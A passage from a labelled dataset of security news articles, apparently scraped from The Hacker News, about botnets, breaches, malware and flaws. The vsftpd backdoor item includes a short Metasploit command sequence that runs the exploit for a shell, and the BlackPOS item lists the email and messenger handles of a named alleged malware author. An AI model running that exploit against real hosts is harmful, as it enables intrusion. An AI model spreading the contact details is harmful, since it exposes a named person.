Partners would be able to access the information using application program interfaces (APIs) that would be provided free by Microsoft. Data from networks of compromised computers will be among the information on offer to ISPs, CERTs, government agencies and private companies, Kaspersky said.

Microsoft will have a lot of data in this system already as anyone who has watched the company's spectacular attacks on the Kelihos botnet last summer will attest, adding to similar campaigns against Rustock and Waledec, will vouch for. ""Companies could use the data to look for opportunistic malware infections that often accompany botnet infections, or correlate data on botnet hosts with data on click fraud and other scams,"" Kaspersky noted. A number of organisations, including the UK government, have called for greater data-sharing to combat e-crime.

",Malware
Instagram Patches flaw that Makes Private Photos Visible,https://thehackernews.com/2015/01/hacking-instagram-private-photos.html,"Your Instagram is not as Private as You Think. Millions of private Instagram photos may have been exposed publicly on the web until the company patched a privacy hole this weekend.

Instagram team was unaware of a security vulnerability from long time which allowed anyone with access to an image's URL to view the photo, even those shared by users whose accounts are set to ""private.""

In other words, If a private user shares an Instagram post with another service, such as Twitter or Facebook as part of the upload process, that shared photo will remain viewable to the public despite its privacy settings.

The flaw was first reported by David Yanofsky at Quartz and Instagram acknowledged the issue last week before patching the flaw. In a statement to Quartz, an Instagram representative said:
'If you choose to share a specific piece of content from your account publicly, that link remains public but the account itself is still private,'
The Instagram vulnerability was only exploitable on the web, not in Instagram's iOS and Android apps.

'In response to feedback, we made an update so that if people change their profile from public to private, web links that are not shared on other services are only viewable to their followers on Instagram.'

Even with the loophole closed, anyone can still able to share your images online without your permission by viewing the page source, or by taking a screenshot.

Though the such privacy flaw or any other potential controversy could have an impact on parent company Facebook.

",Vulnerability
Beware! Unpatched Safari Browser Hack Lets Attackers Spoof URLs,https://thehackernews.com/2018/09/browser-address-spoofing-vulnerability.html,"A security researcher has discovered a serious vulnerability that could allow attackers to spoof website addresses in the Microsoft Edge web browser for Windows and Apple Safari for iOS.

While Microsoft fixed the address bar URL spoofing vulnerability last month as part of its monthly security updates, Safari is still unpatched, potentially leaving Apple users vulnerable to phishing attacks.

The phishing attacks today are sophisticated and increasingly more difficult to spot, and this newly discovered vulnerability takes it to another level that can bypass basic indicators like URL and SSL, which are the first things a user checks to determine if a website is fake.

Discovered by Pakistan-based security researcher Rafay Baloch, the vulnerability (CVE-2018-8383) is due to a race condition type issue caused by the web browser allowing JavaScript to update the page address in the URL bar while the page is loading.

Here's How the URL Spoofing Vulnerability Works

Successful exploitation of the flaw could potentially allow an attacker to initially start loading a legitimate page, which would cause the page address to be displayed in the URL bar, and then quickly replace the code in the web page with a malicious one.

""Upon requesting data from a non-existent port the address was preserved and hence a due to race condition over a resource requested from non-existent port combined with the delay induced by setInterval function managed to trigger address bar spoofing,"" Baloch explains on his blog.

""It causes the browser to preserve the address bar and to load the content from the spoofed page. The browser will however eventually load the resource, however the delay induced with setInterval function would be enough to trigger the address bar spoofing.""

Since the URL displayed in the address bar does not change, the phishing attack would be difficult for even a trained user to detect.

Using this vulnerability, an attacker can impersonate any web page, including Gmail, Facebook, Twitter, or even bank websites, and create fake login screens or other forms to steal credentials and other data from users, who see the legitimate domain in the address bar.

Baloch created a proof-of-concept (PoC) page to test the vulnerability, and observed that both Microsoft Edge and Apple Safari browsers ""allowed javascript to update the address bar while the page was still loading.""

Proof-of Concept Video Demonstrations

The researcher has also published proof of concept videos for both Edge and Safari:

According to Baloch, both Google Chrome and Mozilla Firefox web browsers are not affected by this vulnerability.

While Microsoft had already patched the issue last month with its Patch Tuesday updates for August 2018, Baloch has yet to get a response from Apple about the flaw he reported to the company back on June 2.

The researcher disclosed the full technical details of the vulnerability and proof-of-concept (PoC) code for Edge only after the 90-day disclosure window, but he is holding the proof-of-concept code for Safari until Apple patches the issue in the upcoming version of Safari.

",Vulnerability
Operator of VirusTotal Like Malware-Scanning Service Jailed for 14 Years,https://thehackernews.com/2018/09/scan4you-malware-scanner.html,"A Latvian hacker behind the development and operation of counter antivirus service ""Scan4You"" has finally been sentenced to 14 years in prison.

37-year-old Ruslans Bondars, described as a Latvian ""non-citizen"" or ""citizen of the former USSR who had been residing in Riga, Latvia,"" was found guilty on May 16 in federal court in Alexandria, during which a co-conspirator revealed he had worked with Russian law enforcement.

Bondars created and ran Scan4you—a VirusTotal like online multi-engine antivirus scanning service that allowed hackers to run their code by several popular antiviruses to determine if their computer virus or malware would be flagged during routine security scans before launching them into a real-world malware campaign.

While legal scanning services share data about uploaded files with the antivirus firms, Scan4you instead informed its users that they could ""upload files anonymously and promised not to share information about the uploaded files with the antivirus community.""

Bondars was one of the two hackers found to have been running Scan4you from 2009 to 2016 and helping other malware authors test and improve the malware they then ""used to inflict hundreds of millions of dollars in losses on American companies and consumers.""

Bondars' partner Jurijs Martisevs, who was also arrested while on a trip to Latvia and extradited to the United States, pleaded guilty to similar charges back in March this year.
According to the Justice Department press release, Scan4you customers used the service to steal millions of payment cards from retail stores across the world, including the United States, which led to some $20.5 billion in losses.

For instance, one Scan4you customer used the service to test malware that was subsequently used to steal approximately 40 million credit and debit card numbers, and other personal information from a US retail store, causing $292 million in losses.

Another customer used Scan4you to assist the development of ""Citadel""—a widely used malware strain that infected over 11 million computers worldwide, including in the United States and resulted in over $500 million in fraud-related losses.

""Ruslans Bondars helped malware developers attack American businesses,"" said Assistant Attorney General Benczkowski. ""The Department of Justice and its law enforcement partners make no distinction between service providers like Scan4You and the hackers they assist: we will hold them accountable for all of the significant harm they cause and work tirelessly to bring them to justice, wherever they may be located.""

Bondars was convicted of three counts, including conspiracy to violate the Computer Fraud and Abuse Act, conspiracy to commit wire fraud, and computer intrusion with intent to cause damage and was sentenced to 168 months in prison on Friday.

Although US court never charged Bondars with direct involvement in any hacking, court documents show he used malware to rob online users and trick them into buying antivirus services they did not need.

Moreover, prosecutors also say Scan4You was an ""innovation"" in malware that has inspired many copycats, which resulted in such services being readily available on the Internet.
",Cyber_Attack
BlackPOS Malware used in TARGET Data Breach developed by 17-Year Old Russian Hacker,https://thehackernews.com/2014/01/BlackPOS-Malware-russian-hacker-Target.html,"The Holiday data breach at TARGET appeared to be part of a broad and highly sophisticated international hacking campaign against multiple retailers, involving the heist of possibly 110 million Credit-Debit cards, and personal information.

Target confirmed last weekend that a malicious software was embedded in point-of-sale (POS) equipment at its checkout counters to collect secure data as the credit cards were swiped during transactions.

The Malware called 'BlackPOS' also known as ""reedum"" or 'Kaptoxa' is an effective crimeware kit, that was created in March 2013 and available in underground sites for $1800-$2000.

Investigators from IntelCrawler found a 17-years old hacker who actually developed the BlackPOS crimeware kit. His nickname is 'ree4' and original name: 'Sergey Taraspov' from St.Petersburg and Nizhniy Novgorod (Russian Federation).
IntelCrawler's sources mentioned that the BlackPOS malware was created in March 2013 and first infected the Point-of-Sales environments in Australia, Canada and the US.

Alleged Russian hacker and malware developer Sergey Taraspov (ree4) sold more than 40 builds of BlackPOS to cybercriminals from Eastern Europe and other countries.

BlackPOS is a RAM-scraping malware totally written in VBScript i.e. It copies credit-card numbers from point-of-sale machines' RAM, in the instant after the cards are swiped and before the numbers are encrypted.

In December, after the TARGET data breach, the Symantec antivirus firm discovered the malware and dubbed as 'Infostealer.Reedum.C'.
'He is a very well known programmer of malicious code in underground and previously he has created several tools used in hacking community for brute force attacks, such as ""Ree4 mail brute"", and also earned some first money with social networks accounts hacking and DDoS attacks trainings, as well as software development including malicious code.'
More details about Sergey Taraspov (ree4):
E-mail 1: ree4@list.ru
E-mail 2: ree4@yandex.ru
ICQ: 565033
Skype: s.r.a.ree4

Now any of his toolkit buyer is possibly the culprit behind the Target data breach. According to researchers, the attackers somehow managed hack one of the TARGET server and uploaded the POS malware to the checkout machines located at various stores.

IntelCrawler didn't accuse him of the Target heist, but ""He is still visible for us, but the real bad actors responsible for the past attacks on retailers such as Target and Neiman Marcus were just his customers"". They said.

",Data_Breaches
This New Malware Hides Itself Among Windows Defender Exclusions to Evade Detection,https://thehackernews.com/2021/07/this-new-malware-hides-itself-among.html,"Cybersecurity researchers on Tuesday lifted the lid on a previously undocumented malware strain dubbed ""MosaicLoader"" that singles out individuals searching for cracked software as part of a global campaign.
""The attackers behind MosaicLoader created a piece of malware that can deliver any payload on the system, making it potentially profitable as a delivery service,"" Bitdefender researchers said in a report shared with The Hacker News. ""The malware arrives on target systems by posing as cracked installers. It downloads a malware sprayer that obtains a list of URLs from the C2 server and downloads the payloads from the received links.""
The malware has been so named because of its sophisticated internal structure that's orchestrated to prevent reverse-engineering and evade analysis.
Attacks involving MosaicLoader rely on a well-established tactic for malware delivery called search engine optimization (SEO) poisoning, wherein cybercriminals purchase ad slots in search engine results to boost their malicious links as top results when users search for terms related to pirated software.
Upon a successful infection, the initial Delphi-based dropper — which masquerades as a software installer — acts as an entry point to fetch next-stage payloads from a remote server and also add local exclusions in Windows Defender for the two downloaded executables in an attempt to thwart antivirus scanning.
It's worth pointing out that such Windows Defender exclusions can be found in the registry keys listed below:
File and folder exclusions - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
File type exclusions - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions
Process exclusions - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
One of the binaries, ""appsetup.exe,"" is conceived to achieve persistence on the system, whereas the second executable, ""prun.exe,"" functions as a downloader for a sprayer module that can retrieve and deploy a variety of threats from a list of URLs, ranging from cookie stealers to cryptocurrency miners, and even more advanced implants like Glupteba.
""prun.exe"" is also notable for its barrage of obfuscation and anti-reverse techniques that involve separating code chunks with random filler bytes, with the execution flow designed to ""jump over these parts and only execute the small, meaningful chunks.""
Given MosaicLoader's wide-ranging capabilities, compromised systems can be co-opted into a botnet that the threat actor can then exploit to propagate multiple and evolving sets of sophisticated malware, including both publicly available and customized malware, to obtain, expand, and maintain unauthorized access to victim computers and networks.
""The best way to defend against MosaicLoader is to avoid downloading cracked software from any source,"" the researchers said. ""Besides being against the law, cybercriminals look to target and exploit users searching for illegal software,"" adding it's essential to ""check the source domain of every download to make sure that the files are legitimate.""

",Malware
Ashley Madison Dating Site Agrees to Pay $1.6 Million Fine Over Massive Breach,https://thehackernews.com/2016/12/ashley-madison-fine.html,"Ashley Madison, an American most prominent dating website that helps married people cheat on their spouses has been hacked, has agreed to pay a hefty fine of $1.6 Million for failing to protect account information of 36 Million users, after a massive data breach last year.

Yes, the parent company of Ashley Madison, Ruby Corp. will pay $1.6 Million to settle charges from both Federal Trade Commission (FTC) and 13 states alleging that it misled its consumers about its privacy practices and did not do enough to protect their information.

Not only the company failed to protect the account information of its 36 Million users, but also it failed to delete account information after regretful users paid a $20 fee for ""Full Delete"" of their accounts.

Moreover, the Ashley Madison site operators were accused of creating fake accounts of ""female"" users in an effort to attract new members.

Avid Life Media denied the claim at the time, but a year later when the company rebranded as Ruby Corp., it admitted that tens of thousands of female users on AshleyMadison.com had just been lines of code.

Last year, a group of hackers released tons of gigabytes of critical data belonging to the company's internal operation as well as millions of Ashley Madison users that led to blackmails and even suicides.

Ruby Corp. was intended to pay a total of $17.5 Million fine -- $8.75 million fine to the FTC and another $8.75 million to 13 states that also filed complaints -- but the company can afford to pay just $1.6 Million fine.

""Today's settlement closes an important chapter on the company's past and reinforces our commitment to operating with integrity and to building a new future for our members, our team and our company,"" Rob Segal, Ruby's newly-appointed CEO, wrote in a blog post.

Besides this, Ruby Corp. has agreed to 20 years' worth of the FTC overseeing its network security to ensure that user data is being protected.

Here's the federal court order [PDF] that requires Ashley Madison to:

Perform a risk assessment to protect customer data
Implement new data security protocols
Upgrade systems based on the assessments
Offer periodic security risk assessment (both internal and third-party)
Require ""reasonable safeguards"" against any potential cyber attacks from their service providers

Ashley Madison was hacked in July 2015, resulting in the disclosure of personal information belonging to 35 Million users, including their usernames, first and last names, passwords, credit card data info, street names, phone numbers, transactions records, and email addresses.



",Data_Breaches
"Hacker stole $100,000 from Users of California based ISP using SQL Injection",https://thehackernews.com/2013/10/hacker-stole-100000-from-users-of.html,"In 2013 we have seen a dramatic increase in the number of hack attacks attempted against banks, credit unions and utility companies using various techniques including DDoS attack, SQL injection, DNS Hijacking and Zero-Day Flaws.

SQL Injection is one of the most common security vulnerabilities on the web and is successful only when the web application is not sufficiently secured.
Recently a hacking Group named 'TeamBerserk' claimed on Twitter that, they have stolen $100,000 by leveraging user names and passwords taken from a California ISP Sebastian (Sebastiancorp.com)to access victims' bank accounts.

A video proof was uploaded on the Internet, shows that how hackers used a SQL injection attack against the California ISP Sebastian to access their customers' database includes e-mail addresses, user names and clear text passwords and then using the same data to steal money from those customers.

Let's see what SQL Injection is and how serious an attack like this actually can be.

SQL Injection is a type of web application vulnerability in which the attacker adds Structured Query Language (SQL) code to web inputs to gain access to an organization's resources. Using this technique, hackers can determine the structure and location of key databases and can download the database or compromise the database server.
Hackers took just 15 minutes to hack into the website using SQLmap (Automated SQL Injection Tool) -- stole customers' database and then immediately accesses the victim's Gmail account, linked PayPal accounts and Bank accounts also.
It's so hard to remember multiple passwords, some people just use the same one over and over. Is your Facebook password the same as your Twitter password? How about the password for your bank's website?

Now the hack explains that this us why it's extremely dangerous to use the same password on more than one Web site. In the POC video, hacker randomly chooses one Sebastian username and his relative password against Paypal, Gmail and even Citibank account logins and seriously that actually worked, because the victim is using the same passwords for all websites.
Now that you've control of the situation, don't let this happen again! If you have a bank account, a few credit cards, and several other important sensitive accounts, conduct a thorough security audit on them. Be sure that you know when you last logged in. Be sure to keep using different and Strong passwords for each website.

",Vulnerability
Philips Smart TVs vulnerable to Screen Hijack and Cookie Theft,https://thehackernews.com/2014/03/philips-smart-tvs-vulnerable-to-screen_29.html,"Previous articles on The Hacker News have highlighted that How Internet of Things (IoT) opens your home to cyber threats.

Recently the security researchers from vulnerability research firm ReVuln published a video demonstration shows that Philips Smart TV is prone to cyber attacks by hackers.

According to the researchers, some versions of Philips Smart TV with latest firmware update are wide open to hackers and also vulnerable to cookie theft.

The fault is in a feature called Miracast, that allows TVs to act as a WiFi access point with a hard-coded password 'Miracast,' and allows devices nearby within the range to connect the device for receiving the screen output.

""The main problem is that Miracast uses a fixed password, doesn't show a PIN number to insert and, moreover, doesn't ask permission to allow the incoming connection,"" Luigi Auriemma, CEO and security researcher at ReVuln, told SCMagazine.

The vulnerability allows an attacker within the device's WiFi range to access its various features. The potential attacker can:
Access the TV's configuration files
Access files stored on USB devices attached to the TV
Replace the image on screen with video or images of its choice
Control the TVs via an external remote control application
Steal website authentication cookies from the TV's browser
""So basically you just connect directly to the TV via WiFi, without restrictions. Miracas is enabled by default and the password cannot be changed."" Luigi said.
The Researchers tested the flaw on Philips 55PFL6008S TV, but believe that many 2013 models are also affected because of the same firmware installed.

However, such attacks are not possible to happen in the wild, but if your neighbor is enough smart and knows your WiFi password, then either you should change your password to stronger one or turn off the Miracast feature on your Philips Smart TV.

Philip says, ""Our experts are looking into this and are working on a fix. In the meantime, we recommend customers to switch off their Miracast function of the TV to avoid any vulnerability.""

",Cyber_Attack
Critical RCE Flaw in ForgeRock Access Manager Under Active Attack,https://thehackernews.com/2021/07/critical-rce-flaw-in-forgerock-access.html,"Cybersecurity agencies in Australia and the U.S. are warning of an actively exploited vulnerability impacting ForgeRock's OpenAM access management solution that could be leveraged to execute arbitrary code on an affected system remotely.
""The [Australian Cyber Security Centre] has observed actors exploiting this vulnerability to compromise multiple hosts and deploy additional malware and tools,"" the organization said in an alert. ACSC didn't disclose the nature of the attacks, how widespread they are, or the identities of the threat actors exploiting them.
Tracked as CVE-2021-35464, the issue concerns a pre-authentication remote code execution (RCE) vulnerability in ForgeRock Access Manager identity and access management tool, and stems from an unsafe Java deserialization in the Jato framework used by the software.
""An attacker exploiting the vulnerability will execute commands in the context of the current user, not as the root user (unless ForgeRock AM is running as the root user, which is not recommended),"" the San Francisco-headquartered software firm noted in an advisory.
""An attacker can use the code execution to extract credentials and certificates, or to gain a further foothold on the host by staging some kind of shell (such as the common implant Cobalt Strike),"" it added.
The vulnerability affects versions 6.0.0.x and all versions of 6.5, up to and including 6.5.3, and has been addressed in version AM 7 released on June 29, 2021. ForgeRock customers are advised to move quickly to deploy the patches to mitigate the risk associated with the flaw.

",Vulnerability
Tyupkin Malware Hacking ATM Machines Worldwide,https://thehackernews.com/2014/10/hacking-ATM-machine-tyupkin-malware.html,"Money is always a perfect motivation for cyber criminals who tries different tricks to solely target users with card skimmers that steal debit card numbers, but now the criminals are using specialized malware that targets ATM (Automated Teller Machine) systems to withdraw cash even without the need of a card.

The new backdoor program, dubbed as ""Tyupkin,"" requires physical access to the ATM system running 32-bit Windows platforms and booting it off of a CD in order to install the malware. According to the researchers, the threat has continued to evolve in recent months, infecting ATMs in Asia, Europe, and Latin America.

There are no details relating to the criminal gang behind the attacks, but they have already stolen ""millions of dollars"" from ATMs worldwide using the sophisticated malware, security firms Kaspersky and Interpol, who are working together in an attempt to foil the criminal gang, said in a joint statement released on Tuesday.
""Over the last few years, we have observed a major upswing in ATM attacks using skimming devices and malicious software,"" said Vicente Diaz, principal security researcher at Kaspersky Lab.

""Now we are seeing the natural evolution of this threat with cybercriminals moving up the chain and targeting financial institutions directly. This is done by infecting ATMs themselves or launching direct Advanced Persistent Threat (APT)-style attacks against banks. The Tyupkin malware is an example of the attackers taking advantage of weaknesses in the ATM infrastructure.""
HOW TYUPKIN ATTACK WORKS
In order to install the malicious backdoor, money mules need to physically insert a bootable CD which installs the malware.

Once the machine is rebooted, the ATM is under the control of the criminal gang. The sophisticated malware then runs in the background on an infinite loop awaiting a command from the attacker's side. However, the malware will only accept commands at specific times – in this case on Sunday and Monday nights – making it harder to detect.

Furthermore, a unique combination key based on random numbers is generated – so that the possibility of a member of the public accidentally entering a code can be avoided. This key code needs to be entered before the main menu is shown.
""The malicious operator receives instructions by phone from another member of the gang who knows the algorithm and is able to generate a session key based on the number shown,"" Kaspersky stated in its release. ""This ensures that the mules collecting the cash do not try to go it alone.""
When this session key is entered correctly, the ATM displays details of how much money is available in each cash cassette, inviting the operator to choose which cassette to steal from, and the number of available banknotes – the ATM dispenses a maximum of 40 at a time from the chosen cassette.

COUNTRIES AFFECTED BY TYUPKIN
During investigation the researchers found more than 50 ATMs from banking institutions throughout Eastern Europe, and most of the Tyupkin submissions came from Russia. The malware appears to have since spread to the United States, India, China, Israel, France and Malaysia.

The scam has been even caught on video, as many of the ATMs have cameras, so you can also have a look to the video provided below. Kaspersky has informed law enforcement about the issue and also alerted banks and the financial sectors of the steps needed to prevent this type of attack.

",Malware
New Kimsuky Module Makes North Korean Spyware More Powerful,https://thehackernews.com/2020/11/new-kimsuky-module-makes-north-korean.html,"A week after the US government issued an advisory about a ""global intelligence gathering mission"" operated by North Korean state-sponsored hackers, new findings have emerged about the threat group's spyware capabilities.
The APT — dubbed ""Kimsuky"" (aka Black Banshee or Thallium) and believed to be active as early as 2012 — has been now linked to as many as three hitherto undocumented malware, including an information stealer, a tool equipped with malware anti-analysis features, and a new server infrastructure with significant overlaps to its older espionage framework.
""The group has a rich and notorious history of offensive cyber operations around the world, including operations targeting South Korean think tanks, but over the past few years they have expanded their targeting to countries including the United States, Russia and various nations in Europe,"" Cybereason researchers said in an analysis yesterday.
Last week, the FBI and departments of Defense and Homeland Security jointly released a memo detailing Kimsuky's tactics, techniques, and procedures (TTPs).
Leveraging spear-phishing and social engineering tricks to gain the initial access into victim networks, the APT has been known to specifically target individuals identified as experts in various fields, think tanks, the cryptocurrency industry, and South Korean government entities, in addition to posing as journalists from South Korea to send emails embedded with BabyShark malware.
In recent months, Kimsuky has been attributed to a number of campaigns using coronavirus-themed email lures containing weaponized Word documents as their infection vector to gain a foothold on victim machines and launch malware attacks.
""Kimsuky focuses its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions,"" the Cybersecurity and Infrastructure Security Agency (CISA) said.
Now according to Cybereason, the threat actor has acquired new capabilities via a modular spyware suite called ""KGH_SPY,"" allowing it to carry out reconnaissance of target networks, capture keystrokes, and steal sensitive information.
Besides this, the KGH_SPY backdoor can download secondary payloads from a command-and-control (C2) server, execute arbitrary commands via cmd.exe or PowerShell, and even harvest credentials from web browsers, Windows Credential Manager, WINSCP and mail clients.
Also of note is the discovery of a new malware named ""CSPY Downloader"" that's designed to thwart analysis and download additional payloads.
Lastly, Cybereason researchers unearthed a new toolset infrastructure registered between 2019-2020 that overlaps with the group's BabyShark malware used to previously target US-based think tanks.
""The threat actors invested efforts in order to remain under the radar, by employing various anti-forensics and anti-analysis techniques which included backdating the creation/compilation time of the malware samples to 2016, code obfuscation, anti-VM and anti-debugging techniques,"" the researchers said.
""While the identity of the victims of this campaign remains unclear, there are clues that can suggest that the infrastructure targeted organizations dealing with human rights violations.""

",Malware
New Mirai Variant and ZHtrap Botnet Malware Emerge in the Wild,https://thehackernews.com/2021/03/new-mirai-variant-and-zhtrap-botnet.html,"Cybersecurity researchers on Monday disclosed a new wave of ongoing attacks exploiting multiple vulnerabilities to deploy new Mirai variants on internet connected devices.
""Upon successful exploitation, the attackers try to download a malicious shell script, which contains further infection behaviors such as downloading and executing Mirai variants and brute-forcers,"" Palo Alto Networks' Unit 42 Threat Intelligence Team said in a write-up.
The rash of vulnerabilities being exploited include:
VisualDoor - a SonicWall SSL-VPN remote command injection vulnerability that came to light earlier this January
CVE-2020-25506 - a D-Link DNS-320 firewall remote code execution (RCE) vulnerability
CVE-2021-27561 and CVE-2021-27562 - Two vulnerabilities in Yealink Device Management that allow an unauthenticated attacker to run arbitrary commands on the server with root privileges
CVE-2021-22502 - an RCE flaw in Micro Focus Operation Bridge Reporter (OBR), affecting version 10.40
CVE-2019-19356 - a Netis WF2419 wireless router RCE exploit, and
CVE-2020-26919 - a Netgear ProSAFE Plus RCE vulnerability
""The VisualDoor exploit in question targets an old SSL-VPN firmware vulnerability that was patched on legacy products in 2015 with 7.5.1.4-43sv and 8.0.0.4-25sv releases,"" SonicWall said in a statement to The Hacker News. ""It is not viable against any properly patched SonicWall appliances.""
Also included in the mix are three previously undisclosed command injection vulnerabilities that were deployed against unknown targets, one of which, according to the researchers, has been observed in conjunction with a separate botnet by the name of MooBot.
The attacks are said to have been detected over a month-long period starting from February 16 to as recent as March 13.
Regardless of the flaws used to achieve successful exploitation, the attack chain involves the use of wget utility to download a shell script from the malware infrastructure that's then used to fetch Mirai binaries, a notorious malware that turns networked IoT devices running Linux into remotely controlled bots that can be used as part of a botnet in large-scale network attacks.
Besides downloading Mirai, additional shell scripts have been spotted retrieving executables to facilitate brute-force attacks to break into vulnerable devices with weak passwords.
""The IoT realm remains an easily accessible target for attackers. Many vulnerabilities are very easy to exploit and could, in some cases, have catastrophic consequences,"" the researcher said.
New ZHtrap Botnet Traps Victims Using a Honeypot
In a related development, researchers from Chinese security firm Netlab 360 discovered a new Mirai-based botnet called ZHtrap that makes use of a honeypot to harvest additional victims, while borrowing some features from a DDoS botnet known as Matryosh.
While honeypots typically mimic a target for cyber criminals so as to take advantage of their intrusion attempts to glean more information about their modus operandi, the ZHtrap botnet uses a similar technique by integrating a scanning IP collection module for gathering IP addresses that are used as targets for further worm-like propagation.
It achieves this by listening on 23 designated ports and identifying IP addresses that connect to these ports, then using the amassed IP addresses to inspect them for four vulnerabilities to inject the payload -
MVPower DVR Shell unauthenticated RCE
Netgear DGN1000 Setup.cgi unauthenticated RCE
CCTV DVR RCE affecting multiple vendors, and
Realtek SDK miniigd SOAP command execution (CVE-2014-8361)
""ZHtrap's propagation uses four N-day vulnerabilities, the main function is DDoS and scanning, while integrating some backdoor features,"" the researchers said. ""Zhtrap sets up a honeypot on the infected device, [and] takes snapshots for the victim devices, and disables the running of new commands based on the snapshot, thus achieving exclusivity over the device.""
Once it has taken over the devices, ZHtrap takes a cue from the Matryosh botnet by using Tor for communications with a command-and-control server to download and execute additional payloads.
Noting that the attacks began from February 28, 2021, the researchers said ZHtrap's ability to turn infected devices into honeypots marks an ""interesting"" evolution of botnets to facilitate finding more targets.
These Mirai-based botnets are the latest to spring up on the threat landscape, in part fanned by the availability of Mirai's source code on the Internet since 2016, opening the field wide open for other attackers to build their own variants.
Last March, researchers discovered a Mirai variant called ""Mukashi,"" which was found targeting Zyxel network-attached storage (NAS) devices to conscript them into a botnet. Then in October 2020, Avira's IoT research team identified another variant of the Mirai botnet named ""Katana,"" which exploited remote code execution vulnerabilities to infect D-Link DSL-7740C routers, DOCSIS 3.1 wireless gateway devices, and Dell PowerConnect 6224 Switches.

",Malware
Video Demonstration : Vsftpd backdoor discovered by Mathias Kresin,https://thehackernews.com/2011/07/video-demonstration-vsftpd-backdoor.html,"Video Demonstration : Vsftpd backdoor discovered by Mathias Kresin
2.3.4 of vsftpd's downloadable source code was compromised and a backdoor added to the code. Evans, the author of vsftpd . This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was present in the vsftpd-2.3.4.tar.gz archive sometime before July 3rd 2011.

The bad tarball included a backdoor in the code which would respond to a user logging in with a user name "":)"" by listening on port 6200 for a connection and launching a shell when someone connects. Read more here

Affected versions :
vsftpd-2.3.4 from 2011-06-30

Metasploit demo :
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST localhost
set PAYLOAD cmd/unix/interact
exploit
id
uname -a

Video Demonstration :

",Vulnerability
100Gbps DDoS attack took down Gaming servers with NTP Servers,https://thehackernews.com/2014/01/ddos-attack-NTP-server-reflection-protection.html,"The New Year begins with a new form of amplified Distributed Denial of Service (DDoS) Attack, a weapon for attackers to bring down websites and servers.

As we have reported two weeks ago that the attackers are abusing the Network Time Protocol (NTP) servers to perform an amplified version of DDoS Attack on various targets across the world.

Earlier this week a number of popular Gaming services, including League of Legends, EA.com and Battle.net from Blizzard were taken down by similar DDoS attack.

'Network Time Protocol (NTP)' is a distributed network clock time synchronization protocol that is used to synchronize computer clock times in a network of computers and runs over port 123 UDP.

""The attacker sends a small spoofed 8-byte UDP packets are sent to the vulnerable NTP Server that requests a large amount of data (megabytes worth of traffic) be sent to the DDoS's target IP Address. ""Security Researcher, Wang Wai detailed in a previous article on 'The Hacker News'.

There are hundreds of open NTP servers available on the Internet that could be abused by an attacker to redirect 100 times bigger responses (packets) to the victims' server than the spoofed request.

As estimated, this technique floods the gaming servers with more than 100Gbps DDoS attack and the average size of these attacks was 7.3 gigabits per second, almost three times the average DDoS attack observed in December.

""If you manage a public NTP server, can fix the issue by updating it to NTP 4.2.7, for which the support of 'monlist' query has been removed in favor of new safe 'mrunlist' function which uses a nonce value ensuring that received IP address match the actual requester."" Wang Wai recommended.

",Vulnerability
'Tinba' Banking Malware Source Code Leaked Online,https://thehackernews.com/2014/07/tinba-banking-malware-source-code.html,"The source code for the smallest but sophisticated banking Trojan Tinba has been leaked through an online post in an underground forum, which make it available for anyone who knows where to look for free malware generation tools.

The files posted on the closed russian underground forum turned out to be the source code of Tinba version1, which was discovered around mid-2012 and they say it is the original, privately sold version of the crimeware kit that infected thousands of computers in Turkey.

Tinba, also known as Zusy, is a tiny but deadly banking Trojan that comprises just 20 Kilobytes of code that gives it ability to slip past detection by some antivirus engines and uses a number of well-word man-in-the-browser tricks in an attempt to defeat two-factor authentication. It infects systems without any advanced encryption or packing and has capability to hook into browsers and steal login data and sniff on network traffic.

Last week, researchers at CSIS in Denmark found a post in an underground cybercrime forum that contained an attachment that turned out to be the source code for Tinba, and after analyzing and investigating the files, CSIS got to know that the source code found was for version one of Tinba banking trojan.

The leaked source code would be a golden opportunity for those who always look for these kind of opportunity as these types of malware programs are only offered for sale in underground forums. Researchers believe that the source code of the malware was likely sold, modified and improved by other attackers.

Despite the older version of the banking Trojan, it works without any difficulties. Members of the closed underground forum can download the source code of Tinda version 1 for free of cost.
""So, our research on this malware and the group behind it proves to have been correct. Sometimes around 2012, the Tinba version 1 source code was taken over by new criminals and it is precisely the version 1 source code which has now been made available to the public and not the code being used in current and ongoing attacks,"" Peter Kruse, security specialist at CSIS, said in a blog post.
""The Tinba leaked source code comes with a complete documentation and full source code. It is nicely structured and our initial analysis proves that the code works smoothly and compiles just fine.""
The source code for an online banking Trojan, very well known as Zeus, was leaked in 2011, which also opened up an opportunity for a wider range of cybercriminals to develop more sophisticated and powerful commercial crimeware-kits.

""We don't expect the source code of Tinba to become a major inspiration for IT-criminals as it was the case for ZeuS. However, making the code public increases the risk of new banker Trojans to arise based partially on Tinba source code,"" Kruse said.

",Malware
Hackers Steal Over $600 Million Worth of Cryptocurrencies from Poly Network,https://thehackernews.com/2021/08/hacker-steal-over-600-million-worth-of.html,"Hackers have siphoned $611 million worth of cryptocurrencies from a blockchain-based financial network in what's believed to be one of the largest heists targeting the digital asset industry, putting it ahead of breaches targeting exchanges Coincheck and Mt. Gox in recent years.
Poly Network, a China-based cross-chain decentralized finance (DeFi) platform for swapping tokens across multiple blockchains such as Bitcoin and Ethereum, on Tuesday disclosed unidentified actors had exploited a vulnerability in its system to plunder thousands of digital tokens such as Ether.
""The hacker exploited a vulnerability between contract calls,"" Poly Network said.
The stolen Binance Chain, Ethereum, and Polygon assets are said to have been transferred to three different wallets, with the company urging miners of affected blockchain and centralized crypto exchanges to blocklist tokens coming from the addresses. The three wallet addresses are as follows -
Ethereum: 0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963 ($273 million)
Binance Smart Chain: 0x0D6e286A7cfD25E0c01fEe9756765D8033B32C71 ($253 million)
Polygon: 0x5dc3603C9D42Ff184153a8a9094a73d461663214 ($85 million)
In an open letter, the protocol maintainers urged the thieves to ""establish communication and return the hacked assets.""
""The amount of money you have hacked is one of the biggest in DeFi history. Law enforcement in any country will regard this as a major economic crime and you will be pursued. [...] The money you stole are from tens of thousands of crypto community members, hence the people,"" the team said.
Tether's Chief Technology Officer Paolo Ardoino tweeted that the stablecoin company froze $33 million worth of its tokens that were taken in the haul.
